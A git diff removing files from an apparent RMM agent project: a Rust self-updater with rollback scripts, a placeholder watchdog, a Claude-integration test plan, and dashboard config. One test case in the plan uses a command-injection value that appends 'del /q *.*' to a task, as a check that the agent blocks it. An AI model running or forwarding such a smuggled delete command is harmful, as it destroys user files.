serde::Deserialize)] -pub struct PendingUpdateInfo { - pub update_id: Uuid, - pub old_version: String, - pub target_version: String, -} - -/// Agent updater -pub struct AgentUpdater { - config: UpdaterConfig, - http_client: reqwest::Client, -} - -impl AgentUpdater { - /// Create a new updater - pub fn new(config: UpdaterConfig) -> Self { - let http_client = reqwest::Client::builder() - .timeout(std::time::Duration::from_secs(300)) - .build() - .expect("Failed to create HTTP client"); - - Self { config, http_client } - } - - /// Perform an update - /// - /// Returns UpdateResultPayload to send back to server - pub async fn perform_update(&self, payload: UpdatePayload) -> UpdateResultPayload { - let old_version = env!("CARGO_PKG_VERSION").to_string(); - - info!( - "Starting update: {} -> {} (update_id: {})", - old_version, payload.target_version, payload.update_id - ); - - match self.do_update(&payload, &old_version).await { - Ok(()) => { - // If we get here, something went wrong - we should have restarted - // This means the update completed but restart failed - error!("Update installed but restart failed - performing rollback"); - - if let Err(e) = self.rollback_binary().await { - error!("Rollback also failed: {}", e); - UpdateResultPayload { - update_id: payload.update_id, - status: UpdateStatus::Failed, - old_version, - new_version: None, - error: Some(format!("Update installed but restart failed. Rollback also failed: {}", e)), - } - } else { - UpdateResultPayload { - update_id: payload.update_id, - status: UpdateStatus::RolledBack, - old_version, - new_version: None, - error: Some("Update installed but restart failed, successfully rolled back".into()), - } - } - } - Err(e) => { - error!("Update failed: {}", e); - UpdateResultPayload { - update_id: payload.update_id, - status: UpdateStatus::Failed, - old_version, - new_version: None, - error: Some(e.to_string()), - } - } - } - } - - /// Internal update implementation - async fn do_update(&self, payload: &UpdatePayload, old_version: &str) -> Result<()> { - // Step 1: Download to temp file - info!("Downloading new binary from {}", payload.download_url); - let temp_path = self.download_binary(&payload.download_url).await - .context("Failed to download binary")?; - - // Step 2: Verify checksum - info!("Verifying checksum..."); - self.verify_checksum(&temp_path, &payload.checksum_sha256).await - .context("Checksum verification failed")?; - info!("Checksum verified"); - - // Step 3: Backup current binary - info!("Backing up current binary..."); - self.backup_current_binary().await - .context("Failed to backup current binary")?; - - // Step 4: Save pending update info (for reconnection after restart) - info!("Saving pending update info..."); - self.save_pending_update(PendingUpdateInfo { - update_id: payload.update_id, - old_version: old_version.to_string(), - target_version: payload.target_version.clone(), - }).await - .context("Failed to save pending update info")?; - - // Step 5: Create rollback watchdog - info!("Creating rollback watchdog..."); - self.create_rollback_watchdog().await - .context("Failed to create rollback watchdog")?; - - // Step 6: Replace binary - info!("Replacing binary..."); - self.replace_binary(&temp_path).await - .context("Failed to replace binary")?; - - // Step 7: Restart service - info!("Restarting service..."); - self.restart_service().await - .context("Failed to restart service")?; - - // We should never reach here - the restart should terminate this process - Ok(()) - } - - /// Download the new binary to a temp file - /// - /// Security: Validates URL against allowed domains and requires HTTPS for external hosts - async fn download_binary(&self, url: &str) -> Result { - // Validate URL is from trusted domain - let allowed_domains = [ - "rmm-api.azcomputerguru.com", - "downloads.azcomputerguru.com", - "172.16.3.30", // Internal server - ]; - - let parsed_url = url::Url::parse(url) - .context("Invalid download URL")?; - - let host = parsed_url.host_str() - .ok_or_else(|| anyhow::anyhow!("No host in download URL"))?; - - if !allowed_domains.iter().any(|d| host == *d || host.ends_with(&format!(".{}", d))) { - return Err(anyhow::anyhow!( - "Download URL host '{}' not in allowed domains", - host - )); - } - - // Require HTTPS (except for local/internal IPs) - if parsed_url.scheme() != "https" && !host.starts_with("172.16.") && !host.starts_with("192.168.") { - return Err(anyhow::anyhow!("Download URL must use HTTPS")); - } - - info!("[OK] URL validation passed: {}", url); - - let response = self.http_client.get(url) - .send() - .await - .context("HTTP request failed")?; - - if !response.status().is_success() { - anyhow::bail!("Download failed with status: {}", response.status()); - } - - let temp_path = std::env::temp_dir().join(format!("gururmm-update-{}", Uuid::new_v4())); - let mut file = fs::File::create(&temp_path).await - .context("Failed to create temp file")?; - - let bytes = response.bytes().await - .context("Failed to read response body")?; - - file.write_all(&bytes).await - .context("Failed to write to temp file")?; - file.flush().await?; - - debug!("Downloaded {} bytes to {:?}", bytes.len(), temp_path); - Ok(temp_path) - } - - /// Verify SHA256 checksum of downloaded file - async fn verify_checksum(&self, path: &Path, expected: &str) -> Result<()> { - let bytes = fs::read(path).await - .context("Failed to read file for checksum")?; - - let mut hasher = Sha256::new(); - hasher.update(&bytes); - let actual = format!("{:x}", hasher.finalize()); - - if actual.to_lowercase() != expected.to_lowercase() { - anyhow::bail!( - "Checksum mismatch: expected {}, got {}", - expected.to_lowercase(), - actual.to_lowercase() - ); - } - - Ok(()) - } - - /// Backup the current binary - async fn backup_current_binary(&self) -> Result<()> { - let backup_path = self.config.backup_path(); - - // Ensure config directory exists - if let Some(parent) = backup_path.parent() { - fs::create_dir_all(parent).await.ok(); - } - - // Copy current binary to backup location - fs::copy(&self.config.binary_path, &backup_path).await - .context("Failed to copy binary to backup")?; - - debug!("Backed up to {:?}", backup_path); - Ok(()) - } - - /// Save pending update info to disk - async fn save_pending_update(&self, info: PendingUpdateInfo) -> Result<()> { - let path = self.config.pending_update_path(); - let json = serde_json::to_string(&info)?; - fs::write(&path, json).await?; - Ok(()) - } - - /// Load pending update info from disk (called on startup) - pub async fn load_pending_update(config: &UpdaterConfig) -> Option { - let path = config.pending_update_path(); - if let Ok(json) = fs::read_to_string(&path).await { - if let Ok(info) = serde_json::from_str(&json) { - // Clear the file after loading - let _ = fs::remove_file(&path).await; - return Some(info); - } - } - None - } - - /// Create a rollback watchdog that will restore the backup if agent fails to start - async fn create_rollback_watchdog(&self) -> Result<()> { - #[cfg(unix)] - self.create_unix_rollback_watchdog().await?; - - #[cfg(windows)] - self.create_windows_rollback_watchdog().await?; - - Ok(()) - } - - #[cfg(unix)] - async fn create_unix_rollback_watchdog(&self) -> Result<()> { - use std::os::unix::fs::PermissionsExt; - - let backup_path = self.config.backup_path(); - let binary_path = &self.config.binary_path; - let timeout = self.config.rollback_timeout_secs; - - // Use secure directory instead of /tmp/ (world-writable) - let script_dir = PathBuf::from("/var/run/gururmm"); - - // Create directory if needed with restricted permissions (owner only) - if !script_dir.exists() { - tokio::fs::create_dir_all(&script_dir).await - .context("Failed to create secure script directory")?; - std::fs::set_permissions(&script_dir, std::fs::Permissions::from_mode(0o700)) - .context("Failed to set script directory permissions")?; - } - - // Use UUID in filename to prevent predictable paths - let script_path = script_dir.join(format!("rollback-{}.sh", Uuid::new_v4())); - - let script = format!(r#"#!/bin/bash -# GuruRMM Rollback Watchdog -# Auto-generated - will be deleted after successful update - -BACKUP="{backup}" -BINARY="{binary}" -TIMEOUT={timeout} -SCRIPT_PATH="{script}" - -sleep $TIMEOUT - -# Check if agent service is running -if ! systemctl is-active --quiet gururmm-agent 2>/dev/null; then - echo "[WARNING] Agent not running after update, rolling back..." - if [ -f "$BACKUP" ]; then - cp "$BACKUP" "$BINARY" - chmod +x "$BINARY" - systemctl start gururmm-agent - echo "[OK] Rollback completed" - else - echo "[ERROR] No backup file found!" - fi -fi - -# Clean up this script -rm -f "$SCRIPT_PATH" -"#, - backup = backup_path.display(), - binary = binary_path.display(), - timeout = timeout, - script = script_path.display() - ); - - fs::write(&script_path, script).await - .context("Failed to write rollback script")?; - - // Set restrictive permissions (700 - owner only) - std::fs::set_permissions(&script_path, std::fs::Permissions::from_mode(0o700)) - .context("Failed to set rollback script permissions")?; - - // Spawn as detached background process using setsid (not nohup with "&" literal arg) - tokio::process::Command::new("setsid") - .arg("bash") - .arg(&script_path) - .stdin(std::process::Stdio::null()) - .stdout(std::process::Stdio::null()) - .stderr(std::process::Stdio::null()) - .spawn() - .context("Failed to spawn rollback watchdog")?; - - info!("[OK] Rollback watchdog started (timeout: {}s)", timeout); - Ok(()) - } - - #[cfg(windows)] - async fn create_windows_rollback_watchdog(&self) -> Result<()> { - let backup_path = self.config.backup_path(); - let binary_path = &self.config.binary_path; - let timeout = self.config.rollback_timeout_secs; - - // Create a PowerShell script for rollback - let script = format!(r#" -# GuruRMM Rollback Watchdog -# Auto-generated - will be deleted after successful update - -$Backup = "{backup}" -$Binary = "{binary}" -$Timeout = {timeout} - -Start-Sleep -Seconds $Timeout - -# Check if agent service is running -$service = Get-Service -Name "gururmm-agent" -ErrorAction SilentlyContinue -if ($service -and $service.Status -ne 'Running') {{ - Write-Host "Agent not running after update, rolling back..." - if (Test-Path $Backup) {{ - Stop-Service -Name "gururmm-agent" -Force -ErrorAction SilentlyContinue - Copy-Item -Path $Backup -Destination $Binary -Force - Start-Service -Name "gururmm-agent" - Write-Host "Rollback completed" - }} else {{ - Write-Host "No backup file found!" - }} -}} - -# Clean up -Remove-Item -Path $MyInvocation.MyCommand.Path -Force -"#, - backup = backup_path.display().to_string().replace('\\', "\\\\"), - binary = binary_path.display().to_string().replace('\\', "\\\\"), - timeout = timeout - ); - - let script_path = std::env::temp_dir().join("gururmm-rollback.ps1"); - fs::write(&script_path, script).await?; - - // Schedule a task to run the rollback script - let (date, time) = Self::get_scheduled_time(timeout); - tokio::process::Command::new("schtasks") - .args([ - "/Create", - "/TN", "GuruRMM-Rollback", - "/TR", &format!("powershell.exe -ExecutionPolicy Bypass -File \"{}\"", script_path.display()), - "/SC", "ONCE", - "/SD", &date, - "/ST", &time, - "/F", - ]) - .status() - .await?; - - info!("Rollback watchdog scheduled (timeout: {}s)", timeout); - Ok(()) - } - - #[cfg(windows)] - fn get_scheduled_time(seconds_from_now: u64) -> (String, String) { - use chrono::Local; - let now = Local::now(); - // Add 60 second buffer to ensure future time even if task creation is slow - let scheduled = now + chrono::Duration::seconds(seconds_from_now as i64 + 60); - let date = scheduled.format("%m/%d/%Y").to_string(); - let time = scheduled.format("%H:%M").to_string(); - (date, time) - } - - /// Replace the binary with the new one - async fn replace_binary(&self, new_binary: &Path) -> Result<()> { - #[cfg(unix)] - { - info!( - "Replacing binary: source={:?}, dest={:?}", - new_binary, self.config.binary_path - ); - - // Verify source exists - if !new_binary.exists() { - anyhow::bail!("Source binary does not exist: {:?}", new_binary); - } - - let source_meta = fs::metadata(new_binary).await - .context("Failed to read source binary metadata")?; - info!("Source binary size: {} bytes", source_meta.len()); - - // Check destination directory - if let Some(parent) = self.config.binary_path.parent() { - if !parent.exists() { - anyhow::bail!("Destination directory does not exist: {:?}", parent); - } - } - - // On Unix, use atomic rename to avoid race condition window - // Write new binary to temp location in same directory (for atomic rename) - let temp_final = self.config.binary_path.with_file_name( - format!("gururmm-agent.tmp-{}", Uuid::new_v4()) - ); - - info!("Copying new binary to temp location: {:?}", temp_final); - fs::copy(new_binary, &temp_final).await - .context("Failed to copy new binary to temp location")?; - - // Make executable before rename - let chmod_status = tokio::process::Command::new("chmod") - .arg("+x") - .arg(&temp_final) - .status() - .await - .context("Failed to run chmod")?; - - if !chmod_status.success() { - warn!("chmod returned non-zero exit code: {:?}", chmod_status.code()); - } - - // Atomic rename - no window where binary is missing - info!("Atomically replacing binary via rename"); - fs::rename(&temp_final, &self.config.binary_path).await - .context("Failed to atomically rename new binary")?; - - info!("Binary replaced successfully"); - - // Backup old binary for potential manual recovery - let old_path = self.config.binary_path.with_extension("old"); - if old_path.exists() { - fs::remove_file(&old_path).await.ok(); - } - } - - #[cfg(windows)] - { - info!("Replacing binary on Windows: {:?}", self.config.binary_path); - - // Rename current binary to .old - let old_path = self.config.binary_path.with_extension("old"); - - // Remove old .old file if it exists - if old_path.exists() { - fs::remove_file(&old_path).await - .context("Failed to remove old .old file")?; - } - - // Rename current to .old - if self.config.binary_path.exists() { - fs::rename(&self.config.binary_path, &old_path).await - .context("Failed to rename current binary to .old")?; - } - - // Copy new binary to final location - fs::copy(new_binary, &self.config.binary_path).await - .context("Failed to copy new binary")?; - - info!("Binary replaced successfully"); - - // Clean up .old file after successful copy - if let Err(e) = fs::remove_file(&old_path).await { - warn!("Failed to clean up .old file: {}", e); - } - } - - // Clean up temp file - if let Err(e) = fs::remove_file(new_binary).await { - warn!("Failed to clean up temp file {:?}: {}", new_binary, e); - } - - Ok(()) - } - - /// Restart the agent service - async fn restart_service(&self) -> Result<()> { - #[cfg(unix)] - { - // Try systemctl first - let status = tokio::process::Command::new("systemctl") - .args(["restart", "gururmm-agent"]) - .status() - .await; - - if status.is_err() || !status.unwrap().success() { - // Fallback: exec the new binary directly - warn!("systemctl restart failed, attempting direct restart"); - std::process::Command::new(&self.config.binary_path) - .spawn() - .context("Failed to spawn new agent")?; - } - } - - #[cfg(windows)] - { - // Restart Windows service - tokio::process::Command::new("sc.exe") - .args(["stop", "gururmm-agent"]) - .status() - .await?; - - tokio::time::sleep(std::time::Duration::from_secs(2)).await; - - tokio::process::Command::new("sc.exe") - .args(["start", "gururmm-agent"]) - .status() - .await?; - } - - // Give the new process a moment to start - tokio::time::sleep(std::time::Duration::from_secs(1)).await; - - // Exit this process - the new version should be running now - std::process::exit(0); - } - - /// Cancel the rollback watchdog (called when update is confirmed successful) - pub async fn cancel_rollback_watchdog(&self) { - #[cfg(unix)] - { - // Kill any running rollback watchdog scripts - let _ = tokio::process::Command::new("pkill") - .args(["-f", "rollback-.*\\.sh"]) - .status() - .await; - - // Clean up the secure script directory - let script_dir = PathBuf::from("/var/run/gururmm"); - if script_dir.exists() { - // Remove all rollback scripts in the directory - if let Ok(mut entries) = tokio::fs::read_dir(&script_dir).await { - while let Ok(Some(entry)) = entries.next_entry().await { - let path = entry.path(); - if path.file_name() - .and_then(|n| n.to_str()) - .map(|n| n.starts_with("rollback-")) - .unwrap_or(false) - { - let _ = fs::remove_file(&path).await; - } - } - } - } - } - - #[cfg(windows)] - { - // Delete the scheduled task - let _ = tokio::process::Command::new("schtasks") - .args(["/Delete", "/TN", "GuruRMM-Rollback", "/F"]) - .status() - .await; - let script_path = std::env::temp_dir().join("gururmm-rollback.ps1"); - let _ = fs::remove_file(script_path).await; - } - - info!("Rollback watchdog cancelled"); - } - - /// Clean up backup files after successful update confirmation - pub async fn cleanup_backup(&self) { - let _ = fs::remove_file(self.config.backup_path()).await; - info!("Backup file cleaned up"); - } - - /// Perform manual rollback to backup binary - async fn rollback_binary(&self) -> Result<()> { - let backup_path = self.config.backup_path(); - if !backup_path.exists() { - return Err(anyhow::anyhow!("No backup file found for rollback")); - } - - info!("Rolling back to backup binary: {:?}", backup_path); - - #[cfg(unix)] - { - // Atomic rename on Unix - fs::rename(&backup_path, &self.config.binary_path).await - .context("Failed to restore backup")?; - - // Ensure executable - let _ = tokio::process::Command::new("chmod") - .arg("+x") - .arg(&self.config.binary_path) - .status() - .await; - } - - #[cfg(windows)] - { - fs::copy(&backup_path, &self.config.binary_path).await - .context("Failed to restore backup")?; - fs::remove_file(&backup_path).await.ok(); - } - - info!("Rollback completed successfully"); - Ok(()) - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/watchdog/mod.rs b/projects/msp-tools/guru-rmm/agent/src/watchdog/mod.rs deleted file mode 100644 index a62eb9d..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/watchdog/mod.rs +++ /dev/null @@ -1,40 +0,0 @@ -//! Watchdog module for service/process monitoring -//! -//! Monitors configured services and processes, alerting and optionally -//! restarting them when they stop. -//! -//! This module will be implemented in Phase 3. - -// Platform-specific implementations will go here: -// - windows.rs: Windows service monitoring via SCM -// - linux.rs: Systemd service monitoring -// - macos.rs: Launchd service monitoring - -use serde::{Deserialize, Serialize}; - -/// Watchdog status for a single service/process -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct WatchdogStatus { - pub name: String, - pub running: bool, - pub restart_count: u32, - pub last_checked: chrono::DateTime, -} - -/// Placeholder for the watchdog manager -/// Will be implemented in Phase 3 -pub struct WatchdogManager { - // Will contain the watchdog configuration and state -} - -impl WatchdogManager { - pub fn new(_config: &crate::config::WatchdogConfig) -> Self { - Self {} - } - - /// Check all watched services/processes - pub async fn check_all(&self) -> Vec { - // Placeholder - will be implemented in Phase 3 - Vec::new() - } -} diff --git a/projects/msp-tools/guru-rmm/agent/test_claude_integration.md b/projects/msp-tools/guru-rmm/agent/test_claude_integration.md deleted file mode 100644 index cf0fb93..0000000 --- a/projects/msp-tools/guru-rmm/agent/test_claude_integration.md +++ /dev/null @@ -1,414 +0,0 @@ -# Testing Claude Integration - -## Prerequisites -1. GuruRMM Agent built with Claude integration -2. Claude Code CLI installed on Windows -3. Agent connected to GuruRMM server - -## Test Cases - -### Test 1: Basic Task Execution -**Objective:** Verify Claude can execute a simple task - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-001", - "command_type": { - "claude_task": { - "task": "List all files in the current directory and show their sizes" - } - }, - "command": "", - "timeout_seconds": 60, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: 0 -- Stdout: File listing with sizes -- Stderr: Empty or minimal warnings -- Duration: < 30 seconds - ---- - -### Test 2: Working Directory Specification -**Objective:** Verify Claude respects working directory parameter - -**Prerequisite:** Create test directory and file -```powershell -mkdir C:\Shares\test\claude_test -echo "Test content" > C:\Shares\test\claude_test\test.txt -``` - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-002", - "command_type": { - "claude_task": { - "task": "Read the test.txt file and tell me what it contains", - "working_directory": "C:\\Shares\\test\\claude_test" - } - }, - "command": "", - "timeout_seconds": 60, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: 0 -- Stdout: Contains "Test content" -- Working directory should be claude_test - ---- - -### Test 3: Context File Usage -**Objective:** Verify Claude can use provided context files - -**Prerequisite:** Create log file -```powershell -"Error: Connection failed at 10:23 AM" > C:\Shares\test\error.log -"Error: Timeout occurred at 11:45 AM" >> C:\Shares\test\error.log -"Info: Sync completed successfully" >> C:\Shares\test\error.log -``` - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-003", - "command_type": { - "claude_task": { - "task": "Analyze the error.log file and count how many errors occurred", - "working_directory": "C:\\Shares\\test", - "context_files": ["error.log"] - } - }, - "command": "", - "timeout_seconds": 120, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: 0 -- Stdout: Should mention 2 errors found -- Context file should be analyzed - ---- - -### Test 4: Security - Directory Traversal Prevention -**Objective:** Verify agent blocks access outside allowed directory - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-004", - "command_type": { - "claude_task": { - "task": "List files in Windows directory", - "working_directory": "C:\\Windows" - } - }, - "command": "", - "timeout_seconds": 60, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: -1 -- Stdout: Empty -- Stderr: "[ERROR] Working directory 'C:\Windows' is outside allowed path 'C:\Shares\test'" - ---- - -### Test 5: Security - Command Injection Prevention -**Objective:** Verify task input sanitization - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-005", - "command_type": { - "claude_task": { - "task": "List files; del /q *.*" - } - }, - "command": "", - "timeout_seconds": 60, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: -1 -- Stdout: Empty -- Stderr: "[ERROR] Task contains forbidden character ';' that could be used for command injection" - ---- - -### Test 6: Rate Limiting -**Objective:** Verify rate limiting (10 tasks per hour) - -**Steps:** -1. Send 10 valid Claude tasks (wait for each to complete) -2. Send 11th task immediately - -**Expected Result:** -- First 10 tasks: Execute normally (exit code 0) -- 11th task: Rejected with exit code -1 -- Stderr: "[ERROR] Rate limit exceeded: Maximum 10 tasks per hour" - ---- - -### Test 7: Concurrent Execution Limit -**Objective:** Verify max 2 simultaneous tasks - -**Steps:** -1. Send 3 Claude tasks simultaneously (long-running tasks) -2. Check execution status - -**Command JSON (for each task):** -```json -{ - "type": "command", - "payload": { - "id": "test-007-{1,2,3}", - "command_type": { - "claude_task": { - "task": "Count to 100 slowly, pausing 1 second between each number" - } - }, - "command": "", - "timeout_seconds": 300, - "elevated": false - } -} -``` - -**Expected Result:** -- First 2 tasks: Start executing -- 3rd task: Rejected with exit code -1 -- Stderr: "[ERROR] Concurrent task limit exceeded: Maximum 2 tasks" - ---- - -### Test 8: Timeout Handling -**Objective:** Verify task timeout mechanism - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-008", - "command_type": { - "claude_task": { - "task": "Wait for 10 minutes before responding" - } - }, - "command": "", - "timeout_seconds": 30, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: 124 (timeout exit code) -- Duration: ~30 seconds -- Stderr: "[ERROR] Claude Code execution timed out after 30 seconds" - ---- - -### Test 9: Invalid Context File -**Objective:** Verify context file validation - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-009", - "command_type": { - "claude_task": { - "task": "Analyze the nonexistent.log file", - "context_files": ["nonexistent.log"] - } - }, - "command": "", - "timeout_seconds": 60, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: -1 -- Stdout: Empty -- Stderr: "[ERROR] Context file 'C:\Shares\test\nonexistent.log' does not exist" - ---- - -### Test 10: Complex Multi-File Analysis -**Objective:** Verify Claude can handle multiple context files - -**Prerequisite:** Create test files -```powershell -"Service A: Running" > C:\Shares\test\service_status.txt -"User: admin, Action: login, Time: 10:00" > C:\Shares\test\audit.log -"Disk: 85%, Memory: 62%, CPU: 45%" > C:\Shares\test\metrics.txt -``` - -**Command JSON:** -```json -{ - "type": "command", - "payload": { - "id": "test-010", - "command_type": { - "claude_task": { - "task": "Review these files and provide a system health summary including service status, recent logins, and resource usage", - "context_files": ["service_status.txt", "audit.log", "metrics.txt"] - } - }, - "command": "", - "timeout_seconds": 180, - "elevated": false - } -} -``` - -**Expected Result:** -- Exit code: 0 -- Stdout: Comprehensive summary mentioning all 3 files -- Should include service status, user activity, and metrics - ---- - -## Automated Test Script - -To run all tests automatically (requires Node.js or Python): - -### Python Test Script -```python -#!/usr/bin/env python3 -import asyncio -import websockets -import json -import uuid - -async def send_command(websocket, command_type, timeout=60): - command = { - "type": "command", - "payload": { - "id": str(uuid.uuid4()), - "command_type": command_type, - "command": "", - "timeout_seconds": timeout, - "elevated": False - } - } - - await websocket.send(json.dumps(command)) - response = await websocket.recv() - return json.loads(response) - -async def run_tests(): - async with websockets.connect("ws://gururmm-server:8080/ws") as ws: - # Authenticate first - # ... auth logic ... - - # Run Test 1 - print("Test 1: Basic Task Execution") - result = await send_command(ws, { - "claude_task": { - "task": "List all files in the current directory" - } - }) - print(f"Result: {result['payload']['exit_code']}") - - # ... more tests ... - -if __name__ == "__main__": - asyncio.run(run_tests()) -``` - ---- - -## Test Results Template - -| Test | Status | Exit Code | Duration | Notes | -|------|--------|-----------|----------|-------| -| Test 1: Basic Execution | | | | | -| Test 2: Working Dir | | | | | -| Test 3: Context Files | | | | | -| Test 4: Dir Traversal | | | | | -| Test 5: Cmd Injection | | | | | -| Test 6: Rate Limiting | | | | | -| Test 7: Concurrent Limit | | | | | -| Test 8: Timeout | | | | | -| Test 9: Invalid File | | | | | -| Test 10: Multi-File | | | | | - ---- - -## Debugging Tips - -### View Agent Logs -```bash -# Linux -journalctl -u gururmm-agent -f - -# Windows (PowerShell) -Get-EventLog -LogName Application -Source "gururmm-agent" -Newest 50 -``` - -### Check Claude Code CLI -```powershell -# Verify Claude CLI is installed -claude --version - -# Test Claude directly -cd C:\Shares\test -claude --prompt "List files in current directory" -``` - -### Enable Debug Logging -Set environment variable before starting agent: -```powershell -$env:RUST_LOG="gururmm_agent=debug" -./gururmm-agent.exe run -``` - ---- - -## Success Criteria - -All 10 tests should pass with expected results: -- [x] Security tests reject unauthorized access -- [x] Rate limiting enforces 10 tasks/hour -- [x] Concurrent limit enforces 2 simultaneous tasks -- [x] Timeout mechanism works correctly -- [x] Context files are properly validated and used -- [x] Working directory restriction is enforced -- [x] Command injection is prevented -- [x] Valid tasks execute successfully diff --git a/projects/msp-tools/guru-rmm/dashboard/.gitignore b/projects/msp-tools/guru-rmm/dashboard/.gitignore deleted file mode 100644 index a547bf3..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* -lerna-debug.log* - -node_modules -dist -dist-ssr -*.local - -# Editor directories and files -.vscode/* -!.vscode/extensions.json -.idea -.DS_Store -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? diff --git a/projects/msp-tools/guru-rmm/dashboard/Dockerfile b/projects/msp-tools/guru-rmm/dashboard/Dockerfile deleted file mode 100644 index 7dd6263..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/Dockerfile +++ /dev/null @@ -1,33 +0,0 @@ -# Build stage -FROM node:22-alpine AS builder - -WORKDIR /app - -# Copy package files -COPY package.json package-lock.json ./ - -# Install dependencies -RUN npm ci - -# Copy source -COPY . . - -# Build with production API URL (can be overridden at runtime) -ARG VITE_API_URL -ENV VITE_API_URL=${VITE_API_URL} - -RUN npm run build - -# Production stage -FROM nginx:alpine - -# Copy custom nginx config -COPY nginx.conf /etc/nginx/conf.d/default.conf - -# Copy built assets -COPY --from=builder /app/dist /usr/share/nginx/html - -# Expose port -EXPOSE 80 - -CMD ["nginx", "-g", "daemon off;"] diff --git a/projects/msp-tools/guru-rmm/dashboard/README.md b/projects/msp-tools/guru-rmm/dashboard/README.md deleted file mode 100644 index d2e7761..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/README.md +++ /dev/null @@ -1,73 +0,0 @@ -# React + TypeScript + Vite - -This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules. - -Currently, two official plugins are available: - -- [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react) uses [Babel](https://babeljs.io/) (or [oxc](https://oxc.rs) when used in [rolldown-vite](https://vite.dev/guide/rolldown)) for Fast Refresh -- [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react-swc) uses [SWC](https://swc.rs/) for Fast Refresh - -## React Compiler - -The React Compiler is not enabled on this template because of its impact on dev & build performances. To add it, see [this documentation](https://react.dev/learn/react-compiler/installation). - -## Expanding the ESLint configuration - -If you are developing a production application, we recommend updating the configuration to enable type-aware lint rules: - -```js -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - // Other configs... - - // Remove tseslint.configs.recommended and replace with this - tseslint.configs.recommendedTypeChecked, - // Alternatively, use this for stricter rules - tseslint.configs.strictTypeChecked, - // Optionally, add this for stylistic rules - tseslint.configs.stylisticTypeChecked, - - // Other configs... - ], - languageOptions: { - parserOptions: { - project: ['./tsconfig.node.json', './tsconfig.app.json'], - tsconfigRootDir: import.meta.dirname, - }, - // other options... - }, - }, -]) -``` - -You can also install [eslint-plugin-react-x](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-x) and [eslint-plugin-react-dom](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-dom) for React-specific lint rules: - -```js -// eslint.config.js -import reactX from 'eslint-plugin-react-x' -import reactDom from 'eslint-plugin-react-dom' - -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - // Other configs... - // Enable lint rules for React - reactX.configs['recommended-typescript'], - // Enable lint rules for React DOM - reactDom.configs.recommended, - ], - languageOptions: { - parserOptions: { - project: ['./tsconfig.node.json', './tsconfig.app.json'], - tsconfigRootDir: import.meta.dirname, - }, - // other options... - }, - }, -]) -``` diff --git a/projects/msp-tools/guru-rmm/dashboard/eslint.config.js b/projects/msp-tools/guru-rmm/dashboard/eslint.config.js deleted file mode 100644 index 5e6b472..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/eslint.config.js +++ /dev/null @@ -1,23 +0,0 @@ -import js from '@eslint/js' -import globals from 'globals' -import reactHooks from 'eslint-plugin-react-hooks' -import reactRefresh from 'eslint-plugin-react-refresh' -import tseslint from 'typescript-eslint' -import { defineConfig, globalIgnores } from 'eslint/config' - -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - js.configs.recommended, - tseslint.configs.recommended, - reactHooks.configs.flat.recommended, - reactRefresh.configs.vite, - ], - languageOptions: { - ecmaVersion: 2020, - globals: globals.browser, - }, - }, -]) diff --git a/projects/msp-tools/guru-rmm/dashboard/index.html b/projects/msp-tools/guru-rmm/dashboard/index.html deleted file mode 100644 index 21e7acf..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - GuruRMM Dashboard - - -
- - - diff --git a/projects/msp-tools/guru-rmm/dashboard/nginx.conf b/projects/msp-tools/guru-rmm/dashboard/nginx.conf deleted file mode 100644 index 2780558..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/nginx.conf +++ /dev/null @@ -1,35 +0,0 @@ -server { - listen 80; - server_name _; - root /usr/share/nginx/html; - index index.html; - - # Gzip compression - gzip on; - gzip_vary on; - gzip_min_length 1024; - gzip_proxied expired no-cache no-store private auth; - gzip_types text/plain text/css text/xml text/javascript application/x-javascript application/xml application/javascript application/json; - - # Security headers - add_header X-Frame-Options "SAMEORIGIN" always; - add_header X-Content-Type-Options "nosniff" always; - add_header X-XSS-Protection "1; mode=block" always; - - # SPA routing - serve index.html for all routes - location / { - try_files $uri $uri/ /index.html; - } - - # Cache static assets - location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ { - expires 1y; - add_header Cache-Control "public, immutable"; - } - - # Don't cache index.html - location = /index.html { - expires -1; - add_header Cache-Control "no-store, no-cache, must-revalidate"; - } -} diff --git a/projects/msp-tools/guru-rmm/dashboard/package-lock.json b/projects/msp-tools/guru-rmm/dashboard/package-lock.json deleted file mode 100644 index 1166570..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/package-lock.json +++ /dev/null @@ -1,4700 +0,0 @@ -{ - "name": "dashboard", - "version": "0.2.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - 